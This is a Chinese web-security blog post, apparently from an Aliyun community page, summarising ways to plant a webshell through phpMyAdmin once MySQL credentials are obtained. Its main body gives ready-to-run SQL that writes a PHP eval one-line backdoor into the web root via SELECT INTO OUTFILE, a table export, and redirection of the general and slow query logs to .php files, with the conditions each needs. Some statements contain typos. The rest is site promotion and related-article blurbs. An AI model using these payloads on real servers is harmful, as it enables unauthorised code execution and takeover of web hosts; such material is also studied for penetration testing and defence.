【WEB安全】PHPMyAdmin后台GetShell姿势总结(上)

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: 【WEB安全】PHPMyAdmin后台GetShell姿势总结

PHPMyAdmin后台GetShell姿势总结

前言:

本地环境:

数据库文件导出写入

利用条件

利用方式

数据库全局日志写入

利用条件

利用方式

数据库慢查询日志写入

利用条件

利用方式

CVE-2018-12613

利用条件

利用方式

CVE-2018-19968

利用条件

利用方式

前言:

phpMyAdmin是一个以PHP为基础,以web方式架构在服务器上的MySQL的数据库管理工具。让管理者可以通过Web接口来管理MySQL数据库。因其基于Web的简便易操作的图形化界面备受网站管理者的喜爱。


当我们通过其它各类手段获取到MySQL账户和密码,可以成功登录到phpMyAdmin的后台时,可以通过以下几种方式将webshell写入到目标机器中。


本地环境:

虚拟机windows7、php5.6.9、phpMyAdmin4.8.0

数据库文件导出写入

当数据库服务开启了文件导入导出功能时,使用select into outfile语句将webshell写入。

利用条件

  • 数据库root权限
  • 数据库字段secure_file_priv没有具体的值
  • 获得网站的绝对路径

利用方式

1.执行sql语句show global variables like '%secure%',查看数据库字段secure_file_priv的内容。该字段的内容无法通过sql语句修改,需要修改mysql配置文件my.ini


  1. secure_file_priv=null 不允许文件的导入导出
  2. secure_file_priv=xxx 文件导入导出到某路径
  3. secure_file_priv= 文件可导入到任意路径


2.可以通过页面报错、php探针等手段获取到网站服务的绝对路径后,执行下面的sql语句即可将webshell写入。

image.png

select '<?php @eval($_POST[shell]);?>'INTO OUTFILE 'D:/xxx/WWW/shell.php' 

3.当然也可以将webshell写入到表中的字段,通过将表导出为php文件来实现写入webshell。执行下面的sql语句即可。

image.png

CREATE TABLE hack.test( id text(500) not null); 
INSERT INTO hack.test (id) VALUES('<?php @eval($_POST[cmd]);?>'); 
SELECT id FROM hack ITO OUTFILE 'D:/phpstudy_pro/WWW/1.php'; 
DROP TABLE IF EXISTS test; 

数据库全局日志写入

将数据库全局日志保存为web目录下的php文件来实现webshell写入。

利用条件

  • 数据库root权限
  • 获得网站的绝对路径

利用方式

  1. 执行下面的sql语句查询MySQL是否开启了全局日志以及全局日志的存放位置。

image.png

SHOW VARIABLES LIKE '%general%' 

2.如果全局日志关闭,可以 通过set global_log = on打开全局日志功能。

3.修改或设置全局日志的保存目录为网站的web目录,并且日志保存为php文件。

image.png

set global log file = 'xxx/WWW/22.php'

4.设置好以后,我们执行的sql语句就会记录到上述设置的全局日志当中。只需要在sql语句中包含一句话木马即可。

image.png

select '<?php eval($_POST[shell]); ?>' 

数据库慢查询日志写入

慢日志查询:记录所有执行时间超过字段long_query_time规定时间的所有查询或者不使用索引的查询。默认情况下慢查询日志为关闭状态,long_query_time值为10秒。

利用条件

  • 数据库root权限
  • 获得网站绝对路径

利用方式

  1. 执行下面的sql语句查询数据库慢查询日志的配置情况
show variables like '%slow%'

2.如果慢查询日志关闭,可以 通过set global slow_query_log=on;打开全局日志功能。

3.修改或设置慢查询日志的保存目录为网站的web目录,并且日志保存为php文件。

set global slow_query_log_file='xxx/WWW/slow.php' 

4.执行包含一句话的sql语句,并且使用sleep(10)来使得这个sql语句为一个慢查询语句,使其记录到慢查询日志中即可。

select '<?php @eval($_POST[shell]);?>' or sleep(10); 


相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
2月前
|
缓存 安全 搜索推荐
阿里云先知安全沙龙(北京站) ——浅谈Web快速打点
信息收集是网络安全中的重要环节,常用工具如Hunter、Fofa和扫描工具可帮助全面了解目标系统的网络结构与潜在漏洞。遇到默认Nginx或Tomcat 404页面时,可通过扫路径、域名模糊测试、搜索引擎缓存等手段获取更多信息。AllIN工具(GitHub: P1-Team/AllIN)能高效扫描网站路径,发现敏感信息。漏洞利用则需充分准备,以应对突发情况,确保快速拿下目标站点。 简介:信息收集与漏洞利用是网络安全的两大关键步骤。通过多种工具和技术手段,安全人员可以全面了解目标系统,发现潜在漏洞,并制定有效的防御和攻击策略。
|
2月前
|
安全 应用服务中间件 网络安全
实战经验分享:利用免费SSL证书构建安全可靠的Web应用
本文分享了利用免费SSL证书构建安全Web应用的实战经验,涵盖选择合适的证书颁发机构、申请与获取证书、配置Web服务器、优化安全性及实际案例。帮助开发者提升应用安全性,增强用户信任。
|
3月前
|
SQL 负载均衡 安全
安全至上:Web应用防火墙技术深度剖析与实战
【10月更文挑战第29天】在数字化时代,Web应用防火墙(WAF)成为保护Web应用免受攻击的关键技术。本文深入解析WAF的工作原理和核心组件,如Envoy和Coraza,并提供实战指南,涵盖动态加载规则、集成威胁情报、高可用性配置等内容,帮助开发者和安全专家构建更安全的Web环境。
101 1
|
3月前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
132 4
|
3月前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
107 2
|
3月前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
143 3
|
3月前
|
SQL 安全 Go
PHP在Web开发中的安全实践与防范措施###
【10月更文挑战第22天】 本文深入探讨了PHP在Web开发中面临的主要安全挑战,包括SQL注入、XSS攻击、CSRF攻击及文件包含漏洞等,并详细阐述了针对这些风险的有效防范策略。通过具体案例分析,揭示了安全编码的重要性,以及如何结合PHP特性与最佳实践来加固Web应用的安全性。全文旨在为开发者提供实用的安全指南,帮助构建更加安全可靠的PHP Web应用。 ###
57 1
|
4月前
|
Kubernetes 安全 应用服务中间件
动态威胁场景下赋能企业安全,F5推出BIG-IP Next Web应用防火墙
动态威胁场景下赋能企业安全,F5推出BIG-IP Next Web应用防火墙
95 3
|
4月前
|
监控 安全 Apache
构建安全的URL重定向策略:确保从Web到App平滑过渡的最佳实践
【10月更文挑战第2天】URL重定向是Web开发中常见的操作,它允许服务器根据请求的URL将用户重定向到另一个URL。然而,如果重定向过程没有得到妥善处理,可能会导致安全漏洞,如开放重定向攻击。因此,确保重定向过程的安全性至关重要。
217 0
|
4月前
|
云安全 SQL 安全
数字时代下的Web应用程序安全:漏洞扫描服务的功能与优势
在当今这个数字化时代,Web应用程序不仅是企业与用户之间互动的桥梁,更是企业展示服务、传递价值的核心平台。然而,随着技术的不断进步,Web应用程序的复杂性也在不断增加,这为恶意攻击者提供了可乘之机。安全漏洞的频发,如SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等,严重威胁着企业的数据安全、服务稳定性乃至经济利益。在这样的背景下,漏洞扫描服务作为一道重要的安全防线,显得尤为重要。本文将深入探讨漏洞扫描服务在面对Web应用程序安全问题时,所具备的功能优势。